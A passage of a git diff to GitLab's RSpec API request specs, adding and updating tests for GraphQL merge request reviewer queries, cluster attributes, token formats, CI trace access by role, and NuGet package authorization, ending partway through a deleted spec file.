mrs = create_list(:merge_request, 10, :closed, :with_head_pipeline,
source_project: project,
@@ -151,8 +151,9 @@ RSpec.describe 'getting project information' do
)))
end
- it 'can lookahead to eliminate N+1 queries', :use_clean_rails_memory_store_caching, :request_store do
- expect { run_query(10) }.to issue_same_number_of_queries_as { run_query(1) }.or_fewer.ignoring_cached_queries
+ it 'can lookahead to eliminate N+1 queries' do
+ baseline = ActiveRecord::QueryRecorder.new { run_query(1) }
+ expect { run_query(10) }.not_to exceed_query_limit(baseline)
end
end
diff --git a/spec/requests/api/graphql/user_query_spec.rb b/spec/requests/api/graphql/user_query_spec.rb
index 8c45a67cb0f..60520906e87 100644
--- a/spec/requests/api/graphql/user_query_spec.rb
+++ b/spec/requests/api/graphql/user_query_spec.rb
@@ -58,9 +58,25 @@ RSpec.describe 'getting user information' do
source_project: project_b, author: user)
end
+ let_it_be(:reviewed_mr) do
+ create(:merge_request, :unique_branches, :unique_author,
+ source_project: project_a, reviewers: [user])
+ end
+
+ let_it_be(:reviewed_mr_b) do
+ create(:merge_request, :unique_branches, :unique_author,
+ source_project: project_b, reviewers: [user])
+ end
+
+ let_it_be(:reviewed_mr_c) do
+ create(:merge_request, :unique_branches, :unique_author,
+ source_project: project_b, reviewers: [user])
+ end
+
let(:current_user) { authorised_user }
let(:authored_mrs) { graphql_data_at(:user, :authored_merge_requests, :nodes) }
let(:assigned_mrs) { graphql_data_at(:user, :assigned_merge_requests, :nodes) }
+ let(:reviewed_mrs) { graphql_data_at(:user, :review_requested_merge_requests, :nodes) }
let(:user_params) { { username: user.username } }
before do
@@ -82,7 +98,8 @@ RSpec.describe 'getting user information' do
'username' => presenter.username,
'webUrl' => presenter.web_url,
'avatarUrl' => presenter.avatar_url,
- 'email' => presenter.public_email
+ 'email' => presenter.public_email,
+ 'publicEmail' => presenter.public_email
))
expect(graphql_data['user']['status']).to match(
@@ -156,6 +173,23 @@ RSpec.describe 'getting user information' do
)
end
end
+
+ context 'filtering by reviewer' do
+ let(:reviewer) { create(:user) }
+ let(:mr_args) { { reviewer_username: reviewer.username } }
+
+ it 'finds the assigned mrs' do
+ assigned_mr_b.reviewers << reviewer
+ assigned_mr_c.reviewers << reviewer
+
+ post_graphql(query, current_user: current_user)
+
+ expect(assigned_mrs).to contain_exactly(
+ a_hash_including('id' => global_id_of(assigned_mr_b)),
+ a_hash_including('id' => global_id_of(assigned_mr_c))
+ )
+ end
+ end
end
context 'the current user does not have access' do
@@ -167,6 +201,95 @@ RSpec.describe 'getting user information' do
end
end
+ describe 'reviewRequestedMergeRequests' do
+ let(:user_fields) do
+ query_graphql_field(:review_requested_merge_requests, mr_args, 'nodes { id }')
+ end
+
+ let(:mr_args) { nil }
+
+ it_behaves_like 'a working graphql query'
+
+ it 'can be found' do
+ expect(reviewed_mrs).to contain_exactly(
+ a_hash_including('id' => global_id_of(reviewed_mr)),
+ a_hash_including('id' => global_id_of(reviewed_mr_b)),
+ a_hash_including('id' => global_id_of(reviewed_mr_c))
+ )
+ end
+
+ context 'applying filters' do
+ context 'filtering by IID without specifying a project' do
+ let(:mr_args) do
+ { iids: [reviewed_mr_b.iid.to_s] }
+ end
+
+ it 'return an argument error that mentions the missing fields' do
+ expect_graphql_errors_to_include(/projectPath/)
+ end
+ end
+
+ context 'filtering by project path and IID' do
+ let(:mr_args) do
+ { project_path: project_b.full_path, iids: [reviewed_mr_b.iid.to_s] }
+ end
+
+ it 'selects the correct MRs' do
+ expect(reviewed_mrs).to contain_exactly(
+ a_hash_including('id' => global_id_of(reviewed_mr_b))
+ )
+ end
+ end
+
+ context 'filtering by project path' do
+ let(:mr_args) do
+ { project_path: project_b.full_path }
+ end
+
+ it 'selects the correct MRs' do
+ expect(reviewed_mrs).to contain_exactly(
+ a_hash_including('id' => global_id_of(reviewed_mr_b)),
+ a_hash_including('id' => global_id_of(reviewed_mr_c))
+ )
+ end
+ end
+
+ context 'filtering by author' do
+ let(:author) { reviewed_mr_b.author }
+ let(:mr_args) { { author_username: author.username } }
+
+ it 'finds the authored mrs' do
+ expect(reviewed_mrs).to contain_exactly(
+ a_hash_including('id' => global_id_of(reviewed_mr_b))
+ )
+ end
+ end
+
+ context 'filtering by assignee' do
+ let(:assignee) { create(:user) }
+ let(:mr_args) { { assignee_username: assignee.username } }
+
+ it 'finds the authored mrs' do
+ reviewed_mr_c.assignees << assignee
+
+ post_graphql(query, current_user: current_user)
+
+ expect(reviewed_mrs).to contain_exactly(
+ a_hash_including('id' => global_id_of(reviewed_mr_c))
+ )
+ end
+ end
+ end
+
+ context 'the current user does not have access' do
+ let(:current_user) { unauthorized_user }
+
+ it 'cannot be found' do
+ expect(reviewed_mrs).to be_empty
+ end
+ end
+ end
+
describe 'authoredMergeRequests' do
let(:user_fields) do
query_graphql_field(:authored_merge_requests, mr_args, 'nodes { id }')
@@ -212,6 +335,23 @@ RSpec.describe 'getting user information' do
end
end
+ context 'filtering by reviewer' do
+ let(:reviewer) { create(:user) }
+ let(:mr_args) { { reviewer_username: reviewer.username } }
+
+ it 'finds the assigned mrs' do
+ authored_mr_b.reviewers << reviewer
+ authored_mr_c.reviewers << reviewer
+
+ post_graphql(query, current_user: current_user)
+
+ expect(authored_mrs).to contain_exactly(
+ a_hash_including('id' => global_id_of(authored_mr_b)),
+ a_hash_including('id' => global_id_of(authored_mr_c))
+ )
+ end
+ end
+
context 'filtering by project path and IID' do
let(:mr_args) do
{ project_path: project_b.full_path, iids: [authored_mr_b.iid.to_s] }
diff --git a/spec/requests/api/graphql/users_spec.rb b/spec/requests/api/graphql/users_spec.rb
index 91ac206676b..72d86c10df1 100644
--- a/spec/requests/api/graphql/users_spec.rb
+++ b/spec/requests/api/graphql/users_spec.rb
@@ -59,20 +59,16 @@ RSpec.describe 'Users' do
describe 'sorting and pagination' do
let_it_be(:data_path) { [:users] }
- def pagination_query(params, page_info)
- graphql_query_for("users", params, "#{page_info} edges { node { id } }")
- end
-
- def pagination_results_data(data)
- data.map { |user| user.dig('node', 'id') }
+ def pagination_query(params)
+ graphql_query_for(:users, params, "#{page_info} nodes { id }")
end
context 'when sorting by created_at' do
- let_it_be(:ascending_users) { [user3, user2, user1, current_user].map(&:to_global_id).map(&:to_s) }
+ let_it_be(:ascending_users) { [user3, user2, user1, current_user].map { |u| global_id_of(u) } }
context 'when ascending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'created_asc' }
+ let(:sort_param) { :CREATED_ASC }
let(:first_param) { 1 }
let(:expected_results) { ascending_users }
end
@@ -80,7 +76,7 @@ RSpec.describe 'Users' do
context 'when descending' do
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'created_desc' }
+ let(:sort_param) { :CREATED_DESC }
let(:first_param) { 1 }
let(:expected_results) { ascending_users.reverse }
end
diff --git a/spec/requests/api/graphql_spec.rb b/spec/requests/api/graphql_spec.rb
index 5dc8edb87e9..4eaf57a7d35 100644
--- a/spec/requests/api/graphql_spec.rb
+++ b/spec/requests/api/graphql_spec.rb
@@ -105,7 +105,7 @@ RSpec.describe 'GraphQL' do
stub_authentication_activity_metrics(debug: false)
end
- it 'Authenticates users with a PAT' do
+ it 'authenticates users with a PAT' do
expect(authentication_metrics)
.to increment(:user_authenticated_counter)
.and increment(:user_session_override_counter)
diff --git a/spec/requests/api/group_clusters_spec.rb b/spec/requests/api/group_clusters_spec.rb
index eb21ae9468c..f65f9384efa 100644
--- a/spec/requests/api/group_clusters_spec.rb
+++ b/spec/requests/api/group_clusters_spec.rb
@@ -89,6 +89,8 @@ RSpec.describe API::GroupClusters do
expect(json_response['environment_scope']).to eq('*')
expect(json_response['cluster_type']).to eq('group_type')
expect(json_response['domain']).to eq('example.com')
+ expect(json_response['enabled']).to be_truthy
+ expect(json_response['managed']).to be_truthy
end
it 'returns group information' do
@@ -172,6 +174,7 @@ RSpec.describe API::GroupClusters do
name: 'test-cluster',
domain: 'domain.example.com',
managed: false,
+ enabled: false,
namespace_per_environment: false,
platform_kubernetes_attributes: platform_kubernetes_attributes,
management_project_id: management_project_id
@@ -206,6 +209,7 @@ RSpec.describe API::GroupClusters do
expect(cluster_result.name).to eq('test-cluster')
expect(cluster_result.domain).to eq('domain.example.com')
expect(cluster_result.managed).to be_falsy
+ expect(cluster_result.enabled).to be_falsy
expect(cluster_result.management_project_id).to eq management_project_id
expect(cluster_result.namespace_per_environment).to eq(false)
expect(platform_kubernetes.rbac?).to be_truthy
@@ -342,7 +346,9 @@ RSpec.describe API::GroupClusters do
{
domain: domain,
platform_kubernetes_attributes: platform_kubernetes_attributes,
- management_project_id: management_project_id
+ management_project_id: management_project_id,
+ managed: false,
+ enabled: false
}
end
@@ -381,6 +387,8 @@ RSpec.describe API::GroupClusters do
it 'updates cluster attributes' do
expect(cluster.domain).to eq('new-domain.com')
expect(cluster.management_project).to eq(management_project)
+ expect(cluster.managed).to be_falsy
+ expect(cluster.enabled).to be_falsy
end
end
@@ -394,6 +402,8 @@ RSpec.describe API::GroupClusters do
it 'does not update cluster attributes' do
expect(cluster.domain).to eq('old-domain.com')
expect(cluster.management_project).to be_nil
+ expect(cluster.managed).to be_truthy
+ expect(cluster.enabled).to be_truthy
end
it 'returns validation errors' do
diff --git a/spec/requests/api/group_import_spec.rb b/spec/requests/api/group_import_spec.rb
index cb63206fcb8..d8e945baf6a 100644
--- a/spec/requests/api/group_import_spec.rb
+++ b/spec/requests/api/group_import_spec.rb
@@ -264,7 +264,7 @@ RSpec.describe API::GroupImport do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
end
it 'rejects requests that bypassed gitlab-workhorse' do
@@ -285,7 +285,7 @@ RSpec.describe API::GroupImport do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
expect(json_response).not_to have_key('TempPath')
expect(json_response['RemoteObject']).to have_key('ID')
expect(json_response['RemoteObject']).to have_key('GetURL')
@@ -304,7 +304,7 @@ RSpec.describe API::GroupImport do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
expect(json_response['TempPath']).to eq(ImportExportUploader.workhorse_local_upload_path)
expect(json_response['RemoteObject']).to be_nil
end
diff --git a/spec/requests/api/import_github_spec.rb b/spec/requests/api/import_github_spec.rb
index 5bbcb0c1950..d5fed330401 100644
--- a/spec/requests/api/import_github_spec.rb
+++ b/spec/requests/api/import_github_spec.rb
@@ -44,7 +44,7 @@ RSpec.describe API::ImportGithub do
it 'returns 201 response when the project is imported successfully' do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post api("/import/github", user), params: {
@@ -59,7 +59,7 @@ RSpec.describe API::ImportGithub do
it 'returns 201 response when the project is imported successfully from GHE' do
allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, access_params, type: provider)
+ .to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
post api("/import/github", user), params: {
diff --git a/spec/requests/api/internal/base_spec.rb b/spec/requests/api/internal/base_spec.rb
index 6fe77727702..e04f63befd0 100644
--- a/spec/requests/api/internal/base_spec.rb
+++ b/spec/requests/api/internal/base_spec.rb
@@ -220,6 +220,8 @@ RSpec.describe API::Internal::Base do
end
it 'returns a token without expiry when the expires_at parameter is missing' do
+ token_size = (PersonalAccessToken.token_prefix || '').size + 20
+
post api('/internal/personal_access_token'),
params: {
secret_token: secret_token,
@@ -229,12 +231,14 @@ RSpec.describe API::Internal::Base do
}
expect(json_response['success']).to be_truthy
- expect(json_response['token']).to match(/\A\S{20}\z/)
+ expect(json_response['token']).to match(/\A\S{#{token_size}}\z/)
expect(json_response['scopes']).to match_array(%w(read_api read_repository))
expect(json_response['expires_at']).to be_nil
end
it 'returns a token with expiry when it receives a valid expires_at parameter' do
+ token_size = (PersonalAccessToken.token_prefix || '').size + 20
+
post api('/internal/personal_access_token'),
params: {
secret_token: secret_token,
@@ -245,7 +249,7 @@ RSpec.describe API::Internal::Base do
}
expect(json_response['success']).to be_truthy
- expect(json_response['token']).to match(/\A\S{20}\z/)
+ expect(json_response['token']).to match(/\A\S{#{token_size}}\z/)
expect(json_response['scopes']).to match_array(%w(read_api read_repository))
expect(json_response['expires_at']).to eq('9001-11-17')
end
@@ -722,8 +726,7 @@ RSpec.describe API::Internal::Base do
'ssh',
{
authentication_abilities: [:read_project, :download_code, :push_code],
- namespace_path: project.namespace.path,
- repository_path: project.path,
+ repository_path: "#{project.full_path}.git",
redirected_path: nil
}
).and_return(access_checker)
@@ -1337,9 +1340,13 @@ RSpec.describe API::Internal::Base do
end
context 'when the OTP is valid' do
- it 'returns success' do
+ it 'registers a new OTP session and returns success' do
allow_any_instance_of(Users::ValidateOtpService).to receive(:execute).with(otp).and_return(status: :success)
+ expect_next_instance_of(::Gitlab::Auth::Otp::SessionEnforcer) do |session_enforcer|
+ expect(session_enforcer).to receive(:update_session).once
+ end
+
subject
expect(json_response['success']).to be_truthy
diff --git a/spec/requests/api/internal/kubernetes_spec.rb b/spec/requests/api/internal/kubernetes_spec.rb
index a532b8e59f2..afff3647b91 100644
--- a/spec/requests/api/internal/kubernetes_spec.rb
+++ b/spec/requests/api/internal/kubernetes_spec.rb
@@ -87,7 +87,7 @@ RSpec.describe API::Internal::Kubernetes do
end
end
- describe "GET /internal/kubernetes/agent_info" do
+ describe 'GET /internal/kubernetes/agent_info' do
def send_request(headers: {}, params: {})
get api('/internal/kubernetes/agent_info'), params: params, headers: headers.reverse_merge(jwt_auth_headers)
end
@@ -137,9 +137,7 @@ RSpec.describe API::Internal::Kubernetes do
include_examples 'agent authentication'
context 'an agent is found' do
- let!(:agent_token) { create(:cluster_agent_token) }
-
- let(:agent) { agent_token.agent }
+ let_it_be(:agent_token) { create(:cluster_agent_token) }
context 'project is public' do
let(:project) { create(:project, :public) }
@@ -186,6 +184,16 @@ RSpec.describe API::Internal::Kubernetes do
expect(response).to have_gitlab_http_status(:not_found)
end
+
+ context 'and agent belongs to project' do
+ let(:agent_token) { create(:cluster_agent_token, agent: create(:cluster_agent, project: project)) }
+
+ it 'returns 200' do
+ send_request(params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
+
+ expect(response).to have_gitlab_http_status(:success)
+ end
+ end
end
context 'project is internal' do
diff --git a/spec/requests/api/internal/pages_spec.rb b/spec/requests/api/internal/pages_spec.rb
index 9a63e2a8ed5..5b970ca605c 100644
--- a/spec/requests/api/internal/pages_spec.rb
+++ b/spec/requests/api/internal/pages_spec.rb
@@ -128,32 +128,38 @@ RSpec.describe API::Internal::Pages do
)
end
- it 'responds with proxy configuration' do
+ it 'responds with 204 because of feature deprecation' do
query_host(serverless_domain.uri.host)
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('internal/serverless/virtual_domain')
-
- expect(json_response['certificate']).to eq(pages_domain.certificate)
- expect(json_response['key']).to eq(pages_domain.key)
+ expect(response).to have_gitlab_http_status(:no_content)
+ expect(response.body).to be_empty
- expect(json_response['lookup_paths']).to eq(
- [
- {
- 'source' => {
- 'type' => 'serverless',
- 'service' => "test-function.#{project.name}-#{project.id}-#{environment.slug}.#{serverless_domain_cluster.knative.hostname}",
- 'cluster' => {
- 'hostname' => serverless_domain_cluster.knative.hostname,
- 'address' => serverless_domain_cluster.knative.external_ip,
- 'port' => 443,
- 'cert' => serverless_domain_cluster.certificate,
- 'key' => serverless_domain_cluster.key
- }
- }
- }
- ]
- )
+ ##
+ # Serverless serving and reverse proxy to Kubernetes / Knative has
+ # been deprecated and disabled, as per
+ # https://gitlab.com/gitlab-org/gitlab-pages/-/issues/467
+ #
+ # expect(response).to match_response_schema('internal/serverless/virtual_domain')
+ # expect(json_response['certificate']).to eq(pages_domain.certificate)
+ # expect(json_response['key']).to eq(pages_domain.key)
+ #
+ # expect(json_response['lookup_paths']).to eq(
+ # [
+ # {
+ # 'source' => {
+ # 'type' => 'serverless',
+ # 'service' => "test-function.#{project.name}-#{project.id}-#{environment.slug}.#{serverless_domain_cluster.knative.hostname}",
+ # 'cluster' => {
+ # 'hostname' => serverless_domain_cluster.knative.hostname,
+ # 'address' => serverless_domain_cluster.knative.external_ip,
+ # 'port' => 443,
+ # 'cert' => serverless_domain_cluster.certificate,
+ # 'key' => serverless_domain_cluster.key
+ # }
+ # }
+ # }
+ # ]
+ # )
end
end
end
diff --git a/spec/requests/api/jobs_spec.rb b/spec/requests/api/jobs_spec.rb
index c1498e03f76..f8521818845 100644
--- a/spec/requests/api/jobs_spec.rb
+++ b/spec/requests/api/jobs_spec.rb
@@ -3,6 +3,7 @@
require 'spec_helper'
RSpec.describe API::Jobs do
+ using RSpec::Parameterized::TableSyntax
include HttpIOHelpers
let_it_be(:project, reload: true) do
@@ -717,6 +718,58 @@ RSpec.describe API::Jobs do
expect(response).to have_gitlab_http_status(:unauthorized)
end
end
+
+ context 'when ci_debug_trace is set to true' do
+ before_all do
+ create(:ci_instance_variable, key: 'CI_DEBUG_TRACE', value: true)
+ end
+
+ where(:public_builds, :user_project_role, :expected_status) do
+ true | 'developer' | :ok
+ true | 'guest' | :forbidden
+ false | 'developer' | :ok
+ false | 'guest' | :forbidden
+ end
+
+ with_them do
+ before do
+ project.update!(public_builds: public_builds)
+ project.add_role(user, user_project_role)
+
+ get api("/projects/#{project.id}/jobs/#{job.id}/trace", api_user)
+ end
+
+ it 'renders trace to authorized users' do
+ expect(response).to have_gitlab_http_status(expected_status)
+ end
+ end
+
+ context 'with restrict_access_to_build_debug_mode feature disabled' do
+ before do
+ stub_feature_flags(restrict_access_to_build_debug_mode: false)
+ end
+
+ where(:public_builds, :user_project_role, :expected_status) do
+ true | 'developer' | :ok
+ true | 'guest' | :ok
+ false | 'developer' | :ok
+ false | 'guest' | :forbidden
+ end
+
+ with_them do
+ before do
+ project.update!(public_builds: public_builds)
+ project.add_role(user, user_project_role)
+
+ get api("/projects/#{project.id}/jobs/#{job.id}/trace", api_user)
+ end
+
+ it 'renders trace to authorized users' do
+ expect(response).to have_gitlab_http_status(expected_status)
+ end
+ end
+ end
+ end
end
describe 'POST /projects/:id/jobs/:job_id/cancel' do
diff --git a/spec/requests/api/merge_requests_spec.rb b/spec/requests/api/merge_requests_spec.rb
index e7005bd3ec5..4339f1dd830 100644
--- a/spec/requests/api/merge_requests_spec.rb
+++ b/spec/requests/api/merge_requests_spec.rb
@@ -1888,6 +1888,54 @@ RSpec.describe API::MergeRequests do
expect(response).to have_gitlab_http_status(:created)
end
end
+
+ describe 'SSE counter' do
+ let(:headers) { {} }
+ let(:params) do
+ {
+ title: 'Test merge_request',
+ source_branch: 'feature_conflict',
+ target_branch: 'master',
+ author_id: user.id,
+ milestone_id: milestone.id,
+ squash: true
+ }
+ end
+
+ subject { post api("/projects/#{project.id}/merge_requests", user), params: params, headers: headers }
+
+ it 'does not increase the SSE counter by default' do
+ expect(Gitlab::UsageDataCounters::EditorUniqueCounter).not_to receive(:track_sse_edit_action)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:created)
+ end
+
+ context 'when referer is not the SSE' do
+ let(:headers) { { 'HTTP_REFERER' => 'https://gitlab.com' } }
+
+ it 'does not increase the SSE counter by default' do
+ expect(Gitlab::UsageDataCounters::EditorUniqueCounter).not_to receive(:track_sse_edit_action)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:created)
+ end
+ end
+
+ context 'when referer is the SSE' do
+ let(:headers) { { 'HTTP_REFERER' => project_show_sse_url(project, 'master/README.md') } }
+
+ it 'increases the SSE counter by default' do
+ expect(Gitlab::UsageDataCounters::EditorUniqueCounter).to receive(:track_sse_edit_action).with(author: user)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:created)
+ end
+ end
+ end
end
describe 'PUT /projects/:id/merge_reuests/:merge_request_iid' do
diff --git a/spec/requests/api/nuget_packages_spec.rb b/spec/requests/api/nuget_packages_spec.rb
deleted file mode 100644
index 62f244c433b..00000000000
--- a/spec/requests/api/nuget_packages_spec.rb
+++ /dev/null
@@ -1,533 +0,0 @@
-# frozen_string_literal: true
-require 'spec_helper'
-
-RSpec.describe API::NugetPackages do
- include WorkhorseHelpers
- include PackagesManagerApiSpecHelpers
- include HttpBasicAuthHelpers
-
- let_it_be(:user) { create(:user) }
- let_it_be(:project, reload: true) { create(:project, :public) }
- let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
- let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
- let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
-
- describe 'GET /api/v4/projects/:id/packages/nuget' do
- let(:url) { "/projects/#{project.id}/packages/nuget/index.json" }
-
- subject { get api(url) }
-
- context 'without the need for a license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- context 'personal token' do
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget service index request' | :success
- 'PUBLIC' | :guest | true | true | 'process nuget service index request' | :success
- 'PUBLIC' | :developer | true | false | 'process nuget service index request' | :success
- 'PUBLIC' | :guest | true | false | 'process nuget service index request' | :success
- 'PUBLIC' | :developer | false | true | 'process nuget service index request' | :success
- 'PUBLIC' | :guest | false | true | 'process nuget service index request' | :success
- 'PUBLIC' | :developer | false | false | 'process nuget service index request' | :success
- 'PUBLIC' | :guest | false | false | 'process nuget service index request' | :success
- 'PUBLIC' | :anonymous | false | true | 'process nuget service index request' | :success
- 'PRIVATE' | :developer | true | true | 'process nuget service index request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
-
- subject { get api(url), headers: headers }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- context 'with job token' do
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget service index request' | :success
- 'PUBLIC' | :guest | true | true | 'process nuget service index request' | :success
- 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :developer | false | true | 'process nuget service index request' | :success
- 'PUBLIC' | :guest | false | true | 'process nuget service index request' | :success
- 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :anonymous | false | true | 'process nuget service index request' | :success
- 'PRIVATE' | :developer | true | true | 'process nuget service index request' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:job) { user_token ? create(:ci_build, project: project, user: user, status: :running) : double(token: 'wrong') }
- let(:headers) { user_role == :anonymous ? {} : job_basic_auth_header(job) }
-
- subject { get api(url), headers: headers }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
- end
-
- it_behaves_like 'deploy token for package GET requests'
-
- it_behaves_like 'rejects nuget access with unknown project id'
-
- it_behaves_like 'rejects nuget access with invalid project id'
- end
- end
-
- describe 'PUT /api/v4/projects/:id/packages/nuget/authorize' do
- let_it_be(:workhorse_token) { JWT.encode({ 'iss' => 'gitlab-workhorse' }, Gitlab::Workhorse.secret, 'HS256') }
- let_it_be(:workhorse_header) { { 'GitLab-Workhorse' => '1.0', Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER => workhorse_token } }
- let(:url) { "/projects/#{project.id}/packages/nuget/authorize" }
- let(:headers) { {} }
-
- subject { put api(url), headers: headers }
-
- context 'without the need for a license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget workhorse authorization' | :success
- 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | true | true | 'process nuget workhorse authorization' | :success
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :guest | false | true | 'rejects nuget packages access' | :not_found
- 'PRIVATE' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- end
-
- with_them do
- let(:token) { user_token ? personal_access_token.token : 'wrong' }
- let(:user_headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
- let(:headers) { user_headers.merge(workhorse_header) }
-
- before do
- project.update!(visibility_level: Gitlab::VisibilityLevel.const_get(project_visibility_level, false))
- end
-
- it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
- end
- end
-
- it_behaves_like 'deploy token for package uploads'
-
- it_behaves_like 'rejects nuget access with unknown project id'
-
- it_behaves_like 'rejects nuget access with invalid project id'
- end
- end
-
- describe 'PUT /api/v4/projects/:id/packages/nuget' do
- let(:workhorse_token) { JWT.encode({ 'iss' => 'gitlab-workhorse' }, Gitlab::Workhorse.secret, 'HS256') }
- let(:workhorse_header) { { 'GitLab-Workhorse' => '1.0', Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER => workhorse_token } }
- let_it_be(:file_name) { 'package.nupkg' }
- let(:url) { "/projects/#{project.id}/packages/nuget" }
- let(:headers) { {} }
- let(:params) { { package: temp_file(file_name) } }
- let(:file_key) { :package }
- let(:send_rewritten_field) { true }
-
- subject do
- workhorse_finalize(
- api(url),
- method: :put,
- file_key: file_key,
- params: params,
- headers: headers,
- send_rewritten_field: send_rewritten_field
- )
- end
-
- context 'without the need for a license' do
- context 'with valid project' do
- using RSpec::Parameterized::TableSyntax
-
- where(:project_visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
- 'PUBLIC' | :developer | true | true | 'process nuget upload' | :created
- 'PUBLIC' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | true | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :developer | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :guest | false | true | 'rejects nuget packages access' | :forbidden
- 'PUBLIC' | :developer | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :guest | false | false | 'rejects nuget packages access' | :unauthorized
- 'PUBLIC' | :anonymous | false | true | 'rejects nuget packages access' | :unauthorized
- 'PRIVATE' | :developer | true | true | 'process nuget upload' | :created
- 'PRIVATE' | :guest | true | true | 'rejects nuget packages access' | :forbidden
- 'PRIVATE' | :developer | true | false | 'rejects nuget packages access' | :unauthorized
